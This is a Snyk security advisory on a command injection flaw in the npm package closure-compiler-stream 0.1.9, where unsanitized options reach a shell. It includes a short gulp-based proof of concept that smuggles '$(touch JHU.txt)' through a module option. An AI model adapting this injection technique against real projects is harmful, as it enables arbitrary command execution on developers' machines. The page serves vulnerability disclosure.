closure-compiler-stream@0.1.9 vulnerabilities

Simple stream interface for closure compiler, with full pipe support.

Direct Vulnerabilities

Known vulnerabilities in the closure-compiler-stream package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Command Injection

closure-compiler-stream is a Streaming interface for closure compiler.

Affected versions of this package are vulnerable to Command Injection. The argument options of the exports function in index.js can be controlled by users without any sanitization.

PoC

var root = require("closure-compiler-stream");
var gulp = require("gulp");
var options = {
   module:[[123],[ "$(touch JHU.txt)"]]
}
gulp.src("./closure-compiler-stream.js")
  .pipe(root(options));

How to fix Command Injection?

There is no fixed version for closure-compiler-stream.

*